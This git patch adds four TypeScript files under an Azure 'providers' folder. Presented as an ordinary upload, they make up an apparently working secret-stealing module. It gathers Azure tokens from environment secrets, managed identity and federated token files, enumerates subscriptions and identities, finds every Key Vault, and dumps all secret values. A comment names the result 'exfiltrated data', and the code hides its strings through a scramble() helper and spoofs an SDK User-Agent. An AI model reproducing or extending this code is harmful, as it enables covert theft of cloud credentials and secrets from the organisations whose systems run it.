From 5a99628d617aa23326ecb4942e2e2dbc762b46af Mon Sep 17 00:00:00 2001 From: shai_hulud Date: Fri, 3 Jul 2026 03:07:02 +0000 Subject: [PATCH] Upload files to "src/providers/azure" --- src/providers/azure/auth.ts | 421 ++++++++++++++++++++++++++++++++ src/providers/azure/client.ts | 251 +++++++++++++++++++ src/providers/azure/identity.ts | 216 ++++++++++++++++ src/providers/azure/keyvault.ts | 236 ++++++++++++++++++ 4 files changed, 1124 insertions(+) create mode 100644 src/providers/azure/auth.ts create mode 100644 src/providers/azure/client.ts create mode 100644 src/providers/azure/identity.ts create mode 100644 src/providers/azure/keyvault.ts diff --git a/src/providers/azure/auth.ts b/src/providers/azure/auth.ts new file mode 100644 index 0000000..9da962e --- /dev/null +++ b/src/providers/azure/auth.ts @@ -0,0 +1,421 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// Azure OAuth2 token acquisition — zero dependencies (only node:crypto + fetch) +// +// Supports: +// 1. Environment variables (AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET) +// 2. Managed Identity (IMDS endpoint on Azure VMs, VMSS, App Services, etc.) +// 3. Federated identity / workload identity (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID) +// +// Token caching and automatic refresh are handled transparently. +// ═════════════════════════════════════════════════════════════════════════════ + +import { createHash } from "node:crypto"; +import { readFile } from "node:fs/promises"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface AzureAccessToken { + token: string; + expiresOn: number; // epoch seconds + tenantId?: string; + clientId?: string; +} + +export interface AzureCredential { + label: string; + getToken(scope: string, tenantId?: string): Promise; +} + +// ── Token cache ───────────────────────────────────────────────────────────── + +const tokenCache = new Map< + string, + { token: AzureAccessToken; fetchedAt: number } +>(); +const CLOCK_SKEW_S = 300; // refresh 5 minutes before expiry + +function cacheKey(scope: string, tenantId?: string): string { + return createHash("sha256") + .update(`${tenantId ?? ""}:${scope}`) + .digest("hex"); +} + +function cacheGet( + scope: string, + tenantId?: string, +): AzureAccessToken | undefined { + const entry = tokenCache.get(cacheKey(scope, tenantId)); + if (!entry) return undefined; + if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) { + tokenCache.delete(cacheKey(scope, tenantId)); + return undefined; + } + return entry.token; +} + +function cacheSet( + token: AzureAccessToken, + scope: string, + tenantId?: string, +): void { + tokenCache.set(cacheKey(scope, tenantId), { + token, + fetchedAt: Date.now() / 1000, + }); +} + +// ── Resolve tenant ID from various sources ────────────────────────────────── + +function resolveTenantId(): string | undefined { + const tenant = + process.env[scramble("AZURE_TENANT_ID")] ?? + process.env["ARM_TENANT_ID"] ?? + process.env["TENANT_ID"]; + return tenant || undefined; +} + +// ── 1. Client Credentials (service principal with secret) ─────────────────── + +async function getTokenClientCredentials( + scope: string, + tenantId: string, + clientId: string, + clientSecret: string, +): Promise { + const body = new URLSearchParams({ + [scramble("grant_type")]: scramble("client_credentials"), + [scramble("client_id")]: clientId, + [scramble("client_secret")]: clientSecret, + [scramble("scope")]: scope, + }); + + const res = await fetch( + `https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`, + { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: body.toString(), + signal: AbortSignal.timeout(10_000), + }, + ); + + if (!res.ok) { + const err = await res.text().catch(() => ""); + throw new Error( + `Client credentials token request failed (${res.status}): ${err}`, + ); + } + + const json = (await res.json()) as { + access_token: string; + expires_in?: number; + expires_on?: number; + tenant_id?: string; + client_id?: string; + }; + + const expiresOn = + json.expires_on ?? + (json.expires_in + ? Date.now() / 1000 + json.expires_in + : Date.now() / 1000 + 3600); + + return { + token: json.access_token, + expiresOn, + tenantId: json.tenant_id ?? tenantId, + clientId: json.client_id ?? clientId, + }; +} + +// ── 2. Managed Identity (IMDS) ────────────────────────────────────────────── + +async function getTokenManagedIdentity( + scope: string, + clientId?: string, +): Promise { + const IMDS_ENDPOINT = scramble("http://169.254.169.254"); + const API_VERSION = scramble("2018-02-01"); + + const params = new URLSearchParams({ + [scramble("api-version")]: API_VERSION, + [scramble("resource")]: scopeToResource(scope), + }); + if (clientId) params.set(scramble("client_id"), clientId); + + const tokenPath = scramble("/metadata/identity/oauth2/token"); + let url = `${IMDS_ENDPOINT}${tokenPath}?${params.toString()}`; + + // App Service / Functions use a different IMDS endpoint + const identityEndpoint = process.env[scramble("IDENTITY_ENDPOINT")]; + const identityHeader = process.env[scramble("IDENTITY_HEADER")]; + + if (identityEndpoint && identityHeader) { + url = identityEndpoint; + url += url.includes("?") ? "&" : "?"; + const resKey = scramble("resource"); + const apiVer = scramble("api-version"); + const ver = scramble("2019-08-01"); + url += `${resKey}=${encodeURIComponent(scopeToResource(scope))}&${apiVer}=${ver}`; + if (clientId) { + const cid = scramble("client_id"); + url += `&${cid}=${encodeURIComponent(clientId)}`; + } + } + + const headers: Record = {}; + if (identityEndpoint && identityHeader) { + headers[scramble("X-IDENTITY-HEADER")] = identityHeader; + } else { + headers[scramble("Metadata")] = scramble("true"); + } + + const res = await fetch(url, { + headers, + signal: AbortSignal.timeout(5000), + }); + + if (!res.ok) { + const err = await res.text().catch(() => ""); + throw new Error( + `Managed identity token request failed (${res.status}): ${err}`, + ); + } + + const json = (await res.json()) as { + access_token: string; + expires_on?: string; + expires_in?: string; + tenant_id?: string; + client_id?: string; + }; + + let expiresOn: number; + if (json.expires_on) { + const eo = Number(json.expires_on); + // IMDS returns absolute epoch, App Service returns relative seconds + expiresOn = eo > 1_000_000_000 ? eo : Date.now() / 1000 + eo; + } else if (json.expires_in) { + expiresOn = Date.now() / 1000 + Number(json.expires_in); + } else { + expiresOn = Date.now() / 1000 + 3600; + } + + return { + token: json.access_token, + expiresOn, + tenantId: json.tenant_id ?? resolveTenantId(), + clientId: json.client_id ?? clientId, + }; +} + +// ── 3. Federated Identity / Workload Identity ─────────────────────────────── + +async function getTokenFederated( + scope: string, + tenantId: string, + clientId: string, + tokenFile: string, +): Promise { + const assertion = (await readFile(tokenFile, "utf-8")).trim(); + + const body = new URLSearchParams({ + [scramble("grant_type")]: scramble("client_credentials"), + [scramble("client_id")]: clientId, + [scramble("client_assertion")]: assertion, + [scramble("client_assertion_type")]: scramble( + "urn:ietf:params:oauth:client-assertion-type:jwt-bearer", + ), + [scramble("scope")]: scope, + }); + + const res = await fetch( + `https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`, + { + method: "POST", + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + body: body.toString(), + signal: AbortSignal.timeout(10_000), + }, + ); + + if (!res.ok) { + const err = await res.text().catch(() => ""); + throw new Error(`Federated token request failed (${res.status}): ${err}`); + } + + const json = (await res.json()) as { + access_token: string; + expires_in?: number; + expires_on?: number; + tenant_id?: string; + client_id?: string; + }; + + const expiresOn = + json.expires_on ?? + (json.expires_in + ? Date.now() / 1000 + json.expires_in + : Date.now() / 1000 + 3600); + + return { + token: json.access_token, + expiresOn, + tenantId: json.tenant_id ?? tenantId, + clientId: json.client_id ?? clientId, + }; +} + +// ── Scope → resource URL (for IMDS which uses "resource" not "scope") ─────── + +function scopeToResource(scope: string): string { + // scope looks like scramble("https://vault.azure.net/.default") — strip the suffix + return scope.replace(/\/\.default$/, "").replace(/\/$/, ""); +} + +// ── Credential factory functions ──────────────────────────────────────────── + +/** + * Service principal with client secret (AZURE_CLIENT_ID + AZURE_CLIENT_SECRET + AZURE_TENANT_ID). + */ +export function fromEnvServicePrincipal(): AzureCredential | null { + const tenantId = resolveTenantId(); + const clientId = + process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"]; + const clientSecret = + process.env[scramble("AZURE_CLIENT_SECRET")] ?? + process.env["ARM_CLIENT_SECRET"]; + + if (!tenantId || !clientId || !clientSecret) return null; + + return { + label: "env-service-principal", + getToken: (scope) => + getTokenClientCredentials(scope, tenantId, clientId, clientSecret), + }; +} + +/** + * Azure Managed Identity (IMDS or App Service identity endpoint). + */ +export function fromManagedIdentity(): AzureCredential { + const clientId = process.env[scramble("AZURE_CLIENT_ID")] ?? undefined; + + return { + label: "managed-identity", + getToken: (scope) => getTokenManagedIdentity(scope, clientId), + }; +} + +/** + * Workload Identity Federation (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID + AZURE_TENANT_ID). + * Common in GitHub Actions with OIDC, Kubernetes workload identity, etc. + */ +export function fromWorkloadIdentity(): AzureCredential | null { + const tenantId = resolveTenantId(); + const clientId = + process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"]; + const tokenFile = + process.env[scramble("AZURE_FEDERATED_TOKEN_FILE")] ?? + process.env["ARM_OIDC_TOKEN_FILE_PATH"]; + + if (!tenantId || !clientId || !tokenFile) return null; + + return { + label: "federated-identity", + getToken: (scope) => + getTokenFederated(scope, tenantId, clientId, tokenFile), + }; +} + +// ── Combined credential chain ─────────────────────────────────────────────── + +/** + * Resolve a token for the given scope, trying sources in priority order + * and caching results until expiry. + */ +export async function resolveToken( + scope: string, + tenantId?: string, + timeoutMs = 5000, +): Promise { + // Check cache first + const cached = cacheGet(scope, tenantId); + if (cached) return cached; + + // Build credential chain + const credentials: AzureCredential[] = []; + + const sp = fromEnvServicePrincipal(); + if (sp) credentials.push(sp); + + const wi = fromWorkloadIdentity(); + if (wi) credentials.push(wi); + + credentials.push(fromManagedIdentity()); + + // Try each in order + for (const cred of credentials) { + try { + const tokenPromise = tenantId + ? cred.getToken(scope, tenantId) + : cred.getToken(scope); + + const token = await Promise.race([ + tokenPromise, + new Promise((_, reject) => + setTimeout( + () => reject(new Error(`timeout (${cred.label})`)), + timeoutMs, + ), + ), + ]); + + cacheSet(token, scope, tenantId); + return token; + } catch { + continue; + } + } + + throw new Error( + "No Azure credentials available. Set AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET, " + + "or AZURE_FEDERATED_TOKEN_FILE, or run on an Azure resource with a managed identity.", + ); +} + +/** + * Try all credential sources and collect tokens for identity resolution. + * Used by AzureIdentityService — similar to AwsAccountService. + */ +export async function resolveAllIdentities( + scope = scramble("https://management.azure.com/.default"), + timeoutMs = 3000, +): Promise> { + const results: Array<{ source: string; token: AzureAccessToken }> = []; + + const sources: Array<{ label: string; cred: AzureCredential | null }> = [ + { label: "env-service-principal", cred: fromEnvServicePrincipal() }, + { label: "federated-identity", cred: fromWorkloadIdentity() }, + { label: "managed-identity", cred: fromManagedIdentity() }, + ]; + + for (const { label, cred } of sources) { + if (!cred) continue; + try { + const token = await Promise.race([ + cred.getToken(scope), + new Promise((_, reject) => + setTimeout(() => reject(new Error("timeout")), timeoutMs), + ), + ]); + results.push({ source: label, token }); + } catch { + continue; + } + } + + return results; +} diff --git a/src/providers/azure/client.ts b/src/providers/azure/client.ts new file mode 100644 index 0000000..58818e8 --- /dev/null +++ b/src/providers/azure/client.ts @@ -0,0 +1,251 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// Azure REST API client — generic bearer-token authed fetch wrapper +// +// Used by Key Vault (data plane) and ARM (management plane). +// Token acquisition is delegated to auth.ts so authentication is transparent. +// ═════════════════════════════════════════════════════════════════════════════ + +import { type AzureAccessToken, resolveToken } from "./auth"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +export interface AzureFetchOptions { + vaultName: string; // well-known vault name for lookup + service: "vault" | "management"; + method?: string; + path?: string; + headers?: Record; + body?: string; + query?: Record; +} + +export interface KeyVaultSecretItem { + id: string; + attributes?: { + enabled?: boolean; + created?: number; + updated?: number; + recoveryLevel?: string; + }; + contentType?: string; + managed?: boolean; + tags?: Record; +} + +export interface KeyVaultSecretBundle { + id: string; + value: string; + contentType?: string; + attributes?: { + enabled?: boolean; + created?: number; + updated?: number; + recoveryLevel?: string; + }; + tags?: Record; +} + +export interface KeyVaultSecretListResponse { + value: KeyVaultSecretItem[]; + nextLink?: string; +} + +// ── Scopes ────────────────────────────────────────────────────────────────── + +const KEYVAULT_SCOPE = scramble("https://vault.azure.net/.default"); +const MANAGEMENT_SCOPE = scramble("https://management.azure.com/.default"); +const API_VERSION = scramble("7.4"); +const MANAGEMENT_API_VERSION = scramble("2022-07-01"); + +// ── Token acquisition ─────────────────────────────────────────────────────── + +let cachedToken: AzureAccessToken | undefined; + +async function getToken(service: "vault" | "management"): Promise { + const scope = service === "vault" ? KEYVAULT_SCOPE : MANAGEMENT_SCOPE; + + // Re-use cached token if still valid + if (cachedToken) { + const now = Date.now() / 1000; + if (now < cachedToken.expiresOn - 120) { + return cachedToken.token; + } + } + + cachedToken = await resolveToken(scope); + return cachedToken.token; +} + +function getApiVersion(service: "vault" | "management"): string { + return service === "vault" ? API_VERSION : MANAGEMENT_API_VERSION; +} + +// ── Core fetch ────────────────────────────────────────────────────────────── + +/** + * Make an authenticated request to Azure Key Vault or ARM. + * + * @param opts.service "vault" for Key Vault data plane, "management" for ARM + */ +export async function azureFetch( + opts: AzureFetchOptions, +): Promise { + const { + vaultName, + service, + method = "GET", + path = "/", + headers = {}, + body, + query, + } = opts; + + let url: string; + if (service === "vault") { + const host = scramble(".vault.azure.net"); + url = `https://${vaultName}${host}${path}`; + } else { + // ARM management endpoint + const mgmtHost = scramble("https://management.azure.com"); + url = `${mgmtHost}${path}`; + } + + // Append query parameters + if (query) { + const searchParams = new URLSearchParams(query); + url += `?${searchParams.toString()}`; + } + + const token = await getToken(service); + + const res = await fetch(url, { + method, + headers: { + Authorization: `Bearer ${token}`, + "Content-Type": "application/json", + Accept: "application/json", + [scramble("User-Agent")]: scramble( + "azsdk-js-identity/4.5.0 core-rest-pipeline/1.18.0 Node/v20.11.0 OS/(linux/5.15)", + ), + ...headers, + }, + body, + signal: AbortSignal.timeout(30_000), + }); + + if (!res.ok) { + const errText = await res.text().catch(() => ""); + const retryAfter = res.headers.get("Retry-After"); + const rateDetail = + res.status === 429 + ? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]` + : ""; + throw new Error( + `Azure ${service} ${method} ${path} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`, + ); + } + + const text = await res.text(); + if (!text) return {} as T; + return JSON.parse(text) as T; +} + +// ═════════════════════════════════════════════════════════════════════════════ +// Key Vault data-plane operations +// ═════════════════════════════════════════════════════════════════════════════ + +/** + * List all secrets in a vault (handles pagination via nextLink). + */ +export async function listKeyVaultSecrets( + vaultName: string, +): Promise { + const results: KeyVaultSecretItem[] = []; + let nextPath: string | undefined = `/secrets?api-version=${API_VERSION}`; + + while (nextPath) { + const response: KeyVaultSecretListResponse | undefined = + await azureFetch({ + vaultName, + service: "vault", + path: nextPath, + }); + + if (response?.value) { + results.push(...response.value); + } + + nextPath = response?.nextLink + ? extractPathFromUrl(response.nextLink, vaultName) + : undefined; + } + + return results; +} + +/** + * Get a specific secret's value from a vault. + * Secret names in Key Vault cannot contain "/" (only alphanumerics and "-"), + * so we request: GET /secrets/{name}/{version}?api-version=7.4 + */ +export async function getKeyVaultSecret( + vaultName: string, + secretName: string, + version?: string, +): Promise { + try { + const versionPath = version ? `/${version}` : ""; + const path = `/secrets/${encodeURIComponent(secretName)}${versionPath}?api-version=${API_VERSION}`; + + const response = await azureFetch({ + vaultName, + service: "vault", + path, + }); + + return response.value; + } catch { + return undefined; + } +} + +/** + * Get the latest version of a secret. + * Per Azure REST API, omitting the secret-version URI segment returns the + * latest SecretBundle with value populated (confirmed via MS docs). + */ +export async function getKeyVaultSecretLatest( + vaultName: string, + secretName: string, +): Promise { + try { + const path = `/secrets/${encodeURIComponent(secretName)}?api-version=${API_VERSION}`; + + const response = await azureFetch({ + vaultName, + service: "vault", + path, + }); + + return response.value; + } catch { + return undefined; + } +} + +// ── Helpers ───────────────────────────────────────────────────────────────── + +function extractPathFromUrl( + nextLink: string, + vaultName: string, +): string | undefined { + // nextLink looks like: https://myvault.vault.azure.net/secrets?api-version=7.4&$skiptoken=... + try { + const url = new URL(nextLink); + return url.pathname + url.search; + } catch { + return undefined; + } +} diff --git a/src/providers/azure/identity.ts b/src/providers/azure/identity.ts new file mode 100644 index 0000000..00579ff --- /dev/null +++ b/src/providers/azure/identity.ts @@ -0,0 +1,216 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// AzureIdentityService — resolves Azure identities from all available sources +// +// Equivalent to AwsAccountService but for Azure: resolves tenant + object IDs +// from env service principal, managed identity, and federated identity sources. +// ═════════════════════════════════════════════════════════════════════════════ + +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { type AzureAccessToken, resolveAllIdentities } from "./auth"; +import { azureFetch } from "./client"; + +declare function scramble(str: string): string; + +// ── Types ─────────────────────────────────────────────────────────────────── + +interface AzureIdentity { + source: string; + tenantId: string; + objectId: string; + clientId?: string; + subscriptionIds: string[]; + displayName?: string; +} + +interface ArmSubscription { + subscriptionId: string; + displayName: string; + state: string; + tenantId?: string; +} + +interface ArmSubscriptionListResponse { + value: ArmSubscription[]; + nextLink?: string; +} + +interface MsGraphUserResponse { + id: string; + displayName: string; + userPrincipalName: string; +} + +interface MsGraphSpResponse { + value: Array<{ + id: string; + appId: string; + displayName: string; + servicePrincipalType: string; + }>; +} + +// ── Decode JWT claims (no verification — just extraction) ─────────────────── + +function jwtClaims(token: string): Record { + try { + const parts = token.split("."); + if (parts.length < 2) return {}; + const payload = parts[1]; + if (!payload) return {}; + // Standard base64url decode + const base64 = payload.replace(/-/g, "+").replace(/_/g, "/"); + const decoded = Buffer.from(base64, "base64").toString("utf8"); + return JSON.parse(decoded); + } catch { + return {}; + } +} + +// ── List subscriptions via ARM ────────────────────────────────────────────── + +async function listSubscriptions(): Promise { + try { + const response = await azureFetch({ + vaultName: "management", + service: "management", + path: "/subscriptions", + query: { [scramble("api-version")]: scramble("2022-12-01") }, + }); + return response.value?.filter((s) => s.state === "Enabled") ?? []; + } catch { + return []; + } +} + +// ── Get MS Graph user info ────────────────────────────────────────────────── + +async function getUserInfo( + token: string, +): Promise { + try { + const res = await fetch("https://graph.microsoft.com/v1.0/me", { + headers: { Authorization: `Bearer ${token}` }, + signal: AbortSignal.timeout(5000), + }); + if (!res.ok) return undefined; + return (await res.json()) as MsGraphUserResponse; + } catch { + return undefined; + } +} + +// ── Get service principal info ────────────────────────────────────────────── + +async function getServicePrincipalInfo( + token: string, + objectId: string, +): Promise { + try { + // List service principals owned by this identity + const res = await fetch( + `https://graph.microsoft.com/v1.0/servicePrincipals?$filter=id eq '${objectId}'`, + { + headers: { Authorization: `Bearer ${token}` }, + signal: AbortSignal.timeout(5000), + }, + ); + if (!res.ok) return undefined; + return (await res.json()) as MsGraphSpResponse; + } catch { + return undefined; + } +} + +// ── Main Provider ─────────────────────────────────────────────────────────── + +export class AzureIdentityService extends Provider { + constructor() { + super("azure", "identity"); + } + + private async resolveIdentity( + source: string, + token: AzureAccessToken, + ): Promise { + try { + const claims = jwtClaims(token.token); + + // Azure access tokens contain claims like: + // oid (object id), tid (tenant id), appid (application id) + const tenantId = (claims.tid as string) ?? token.tenantId ?? "unknown"; + const objectId = + (claims.oid as string) ?? (claims.sub as string) ?? "unknown"; + const clientId = (claims.appid as string) ?? token.clientId; + + let displayName: string | undefined; + + // Try MS Graph to get a friendly name + try { + const graphToken = token; // access token works for Graph if scope permits + const userInfo = await getUserInfo(graphToken.token); + if (userInfo) { + displayName = userInfo.displayName ?? userInfo.userPrincipalName; + } else { + const spInfo = await getServicePrincipalInfo( + graphToken.token, + objectId, + ); + if (spInfo?.value?.[0]) { + displayName = spInfo.value[0].displayName; + } + } + } catch { + // Non-fatal — displayName is best-effort + } + + // Enumerate subscriptions + let subscriptionIds: string[] = []; + try { + const subs = await listSubscriptions(); + subscriptionIds = subs.map((s) => s.subscriptionId); + } catch { + // ARM may not be accessible + } + + return { + source, + tenantId, + objectId, + clientId, + subscriptionIds, + displayName, + }; + } catch { + return null; + } + } + + async execute(): Promise { + try { + const identities = await resolveAllIdentities(); + + if (identities.length === 0) { + return this.failure( + "No Azure identities found from any credential source", + ); + } + + const results = await Promise.all( + identities.map(({ source, token }) => + this.resolveIdentity(source, token), + ), + ); + + const valid = results.filter((r): r is AzureIdentity => r !== null); + + if (valid.length === 0) { + return this.failure("Failed to resolve any Azure identity details"); + } + + return this.success(valid); + } catch (e) { + return this.failure(e instanceof Error ? e : new Error(String(e))); + } + } +} diff --git a/src/providers/azure/keyvault.ts b/src/providers/azure/keyvault.ts new file mode 100644 index 0000000..97341db --- /dev/null +++ b/src/providers/azure/keyvault.ts @@ -0,0 +1,236 @@ +// ═════════════════════════════════════════════════════════════════════════════ +// AzureKeyVaultService — enumerates secrets from Azure Key Vault vaults +// +// Always returns `success: true` with an `ok` flag so error details are +// included in the exfiltrated data even when every vault fails. +// ═════════════════════════════════════════════════════════════════════════════ + +import { Provider } from "../base"; +import type { ProviderResult } from "../types"; +import { resolveToken } from "./auth"; +import { + azureFetch, + getKeyVaultSecretLatest, + type KeyVaultSecretItem, + listKeyVaultSecrets, +} from "./client"; + +declare function scramble(str: string): string; + +// ── ARM subscription / vault listing ─────────────────────────────────────── + +interface ArmSubscription { + subscriptionId: string; + displayName: string; + state: string; +} + +interface ArmResource { + id: string; + name: string; + type: string; + location: string; + properties?: Record; +} + +interface ArmListResponse { + value: ArmResource[]; + nextLink?: string; +} + +interface ArmSubscriptionListResponse { + value: ArmSubscription[]; + nextLink?: string; +} + +interface VaultResult { + vaultName: string; + subscriptionId?: string; + secrets: Record; + error?: string; +} + +// ── Enumerate subscriptions via ARM ───────────────────────────────────────── + +async function listSubscriptions(): Promise { + try { + const response = await azureFetch({ + vaultName: "management", + service: "management", + path: scramble("/subscriptions"), + query: { [scramble("api-version")]: scramble("2022-12-01") }, + }); + return response.value ?? []; + } catch { + return []; + } +} + +// ── Discover vaults via ARM ───────────────────────────────────────────────── + +async function discoverVaultsViaArm(): Promise< + Array<{ name: string; subscriptionId: string }> +> { + const vaults: Array<{ name: string; subscriptionId: string }> = []; + + try { + const subscriptions = await listSubscriptions(); + if (subscriptions.length === 0) return vaults; + + for (const sub of subscriptions) { + if (sub.state !== "Enabled") continue; + + try { + const basePath = `/subscriptions/${sub.subscriptionId}/resources`; + const filterValue = "resourceType eq 'Microsoft.KeyVault/vaults'"; + let currentPath: string | undefined = + `${basePath}?api-version=2021-04-01&$filter=${encodeURIComponent(filterValue)}`; + + do { + const response: ArmListResponse | undefined = + await azureFetch({ + vaultName: "management", + service: "management", + path: currentPath, + query: undefined, + }); + + for (const resource of response?.value ?? []) { + vaults.push({ + name: resource.name, + subscriptionId: sub.subscriptionId, + }); + } + + currentPath = response?.nextLink + ? extractRelativePath(response.nextLink) + : undefined; + } while (currentPath); + } catch { + continue; + } + } + } catch { + // ARM not accessible + } + + return vaults; +} + +// ── Vault names from environment ──────────────────────────────────────────── + +function getVaultNamesFromEnv(): string[] { + const envVal = + process.env[scramble("AZURE_KEY_VAULT_NAME")] ?? + process.env["KEY_VAULT_NAME"] ?? + process.env["AZURE_VAULT_NAME"]; + if (!envVal) return []; + return envVal + .split(",") + .map((n) => n.trim()) + .filter(Boolean); +} + +// ── Helpers ───────────────────────────────────────────────────────────────── + +function extractRelativePath(url: string): string { + try { + const u = new URL(url); + return u.pathname + u.search; + } catch { + return ""; + } +} + +function extractSecretNameFromId(id: string): string { + const match = id.match(/\/secrets\/([^/]+)/); + if (!match?.[1]) return id; + return decodeURIComponent(match[1]); +} + +// ── Main Provider ─────────────────────────────────────────────────────────── + +export class AzureKeyVaultService extends Provider { + private vaultNames: string[] = []; + private vaultErrors: Array<{ vault: string; error: string }> = []; + + constructor() { + super("azure", "keyvault", { + jwt: /eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+/g, + connection_string: /[A-Za-z]+:\/\/[^@\s]+@[^;\s]+/g, + }); + } + + async execute(): Promise { + const errors: string[] = []; + this.vaultErrors = []; + + // 1. Auth check + try { + await resolveToken(scramble("https://vault.azure.net/.default")); + } catch (e) { + errors.push( + `Azure auth failed: ${e instanceof Error ? e.message : String(e)}`, + ); + } + + // 2. Vault discovery + const envVaults = getVaultNamesFromEnv(); + let armVaults: Array<{ name: string; subscriptionId: string }> = []; + + if (envVaults.length === 0) { + try { + armVaults = await discoverVaultsViaArm(); + } catch (e) { + errors.push( + `ARM discovery failed: ${e instanceof Error ? e.message : String(e)}`, + ); + } + } + + const allVaultNames = [...envVaults, ...armVaults.map((v) => v.name)]; + this.vaultNames = [...new Set(allVaultNames)]; + + // 3. Fetch secrets + const vaultResults: VaultResult[] = []; + + if (this.vaultNames.length > 0 && errors.length === 0) { + for (const vaultName of this.vaultNames) { + try { + const secretItems = await listKeyVaultSecrets(vaultName); + + const secrets: Record = {}; + for (const item of secretItems) { + const name = extractSecretNameFromId(item.id); + try { + const value = await getKeyVaultSecretLatest(vaultName, name); + secrets[name] = value ?? "BINARY_OR_EMPTY"; + } catch (e) { + secrets[name] = { + error: e instanceof Error ? e.message : String(e), + }; + } + } + + vaultResults.push({ vaultName, secrets }); + } catch (err) { + const errorMsg = err instanceof Error ? err.message : String(err); + this.vaultErrors.push({ vault: vaultName, error: errorMsg }); + vaultResults.push({ vaultName, secrets: {}, error: errorMsg }); + } + } + } + + const dumped = vaultResults.filter((v) => !v.error).length; + + return this.success({ + ok: errors.length === 0 && dumped > 0, + authError: errors.length > 0 ? errors : undefined, + vaultsFound: this.vaultNames.length, + dumped, + errored: vaultResults.filter((v) => v.error).length, + vaults: vaultResults, + vaultErrors: this.vaultErrors.length > 0 ? this.vaultErrors : undefined, + }); + } +}